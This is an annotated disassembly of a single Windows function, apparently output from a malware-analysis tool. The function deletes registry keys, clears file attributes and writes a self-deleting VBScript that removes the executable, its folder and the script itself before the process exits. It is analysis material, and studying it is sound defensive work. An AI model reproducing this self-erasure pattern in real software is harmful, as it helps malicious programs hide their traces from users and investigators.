Function at 0x404fa6
Capabilities:
Delete registry key
Set file attributes
Terminate process

Disassembly:
mov eax, 0x422383
call fcn.00421f24
sub esp, 0x2b8
push ebx
push esi
push edi
call fcn.0040263f
mov ecx, 0x42d7f8
call fcn.004026b2
push eax
mov esi, 0x80000001
push esi
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
cmp dword [0x42d574], 0
mov edi, 0x42d7e0
je 0x404ff3
mov ecx, edi
call fcn.004026b2
push eax
mov ecx, esi
call fcn.00405bee
pop ecx
cmp dword [0x42d578], 0
je 0x40500f
mov ecx, edi
call fcn.004026b2
push eax
mov ecx, 0x80000002
call fcn.00405bee
pop ecx
mov esi, 0x208
lea eax, [ebp - 0x2c4]
push esi
xor edi, edi
push edi
push eax
call fcn.0040b2d0
add esp, 0xc
lea eax, [ebp - 0x2c4]
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ebx, 0x42d7c8
mov ecx, ebx
call fcn.004032a0
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test al, al
je 0x40505b
push 0x80
mov ecx, ebx
call fcn.004026b2
push eax
call esi
push 0x80
lea eax, [ebp - 0x2c4]
push eax
call esi
mov ebx, eax
lea ecx, [ebp - 0x88]
neg ebx
sbb bl, bl
call fcn.00405d31
mov edx, eax
mov dword [ebp - 4], edi
lea ecx, [ebp - 0x70]
call fcn.00406333
push 0x42915c
mov edx, eax
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xb8]
call fcn.0040314e
pop ecx
lea ecx, [ebp - 0x70]
call fcn.004026f5
lea ecx, [ebp - 0x88]
mov byte [ebp - 4], 4
call fcn.0040284f
push str.Temp
call fcn.00410b31
pop ecx
push eax
lea ecx, [ebp - 0x58]
call fcn.00402781
push 0x428b78
mov edx, eax
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x40]
call fcn.0040314e
lea ecx, [ebp - 0xb8]
mov byte [ebp - 4], 6
push ecx
mov edx, eax
lea ecx, [ebp - 0xa0]
call fcn.0040334a
pop ecx
pop ecx
lea ecx, [ebp - 0x40]
call fcn.004026f5
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 9
call fcn.004026f5
push str.Set_fso__CreateObject__Scripting.FileSystemObject___n
lea ecx, [ebp - 0x88]
call fcn.00402781
push eax
mov edx, str.On_Error_Resume_Next_n
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x28]
call fcn.0040320c
pop ecx
lea ecx, [ebp - 0x88]
mov byte [ebp - 4], 0xc
call fcn.004026f5
and bl, 1
je 0x4051a1
lea eax, [ebp - 0x2c4]
push eax
lea ecx, [ebp - 0x70]
call fcn.00402781
push eax
mov edx, str.while_fso.FileExists__
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x40]
call fcn.0040320c
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x58]
mov edx, eax
mov dword [esp], 0x429194
call fcn.0040314e
pop ecx
push eax
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0xf
call fcn.004026be
lea ecx, [ebp - 0x58]
call fcn.004026f5
lea ecx, [ebp - 0x40]
call fcn.004026f5
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 0xc
call fcn.004026f5
push str.fso.DeleteFile__
lea ecx, [ebp - 0x70]
call fcn.00402781
lea ecx, [ebp - 0x2c4]
mov byte [ebp - 4], 0x10
push ecx
mov edx, eax
lea ecx, [ebp - 0x40]
call fcn.0040314e
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x58]
mov edx, eax
mov dword [esp], 0x4291cc
call fcn.0040314e
pop ecx
push eax
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x12
call fcn.004026be
lea ecx, [ebp - 0x58]
call fcn.004026f5
lea ecx, [ebp - 0x40]
call fcn.004026f5
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 0xc
call fcn.004026f5
test bl, bl
je 0x405213
push str.wend_n
lea ecx, [ebp - 0x28]
call fcn.004039e8
mov esi, 0x42d7c8
mov ecx, esi
call fcn.004032a0
test al, al
je 0x405268
push esi
mov edx, str.fso.DeleteFolder__
lea ecx, [ebp - 0x40]
call fcn.00403234
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x58]
mov edx, eax
mov dword [esp], 0x4291cc
call fcn.0040314e
pop ecx
push eax
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x14
call fcn.004026be
lea ecx, [ebp - 0x58]
call fcn.004026f5
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0xc
call fcn.004026f5
push str.fso.DeleteFile_Wscript.ScriptFullName_
lea ecx, [ebp - 0x28]
call fcn.004039e8
push edi
lea ecx, [ebp - 0xa0]
call fcn.004026b2
push eax
lea ecx, [ebp - 0x28]
call fcn.004026a9
mov edx, eax
add edx, edx
call fcn.004026b2
mov ecx, eax
call fcn.004062a8
pop ecx
pop ecx
test al, al
je 0x4052c0
push edi
mov eax, 0x428bec
lea ecx, [ebp - 0xa0]
push eax
push eax
call fcn.004026b2
push eax
push str.open
push edi
call dword [0x42d798]
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]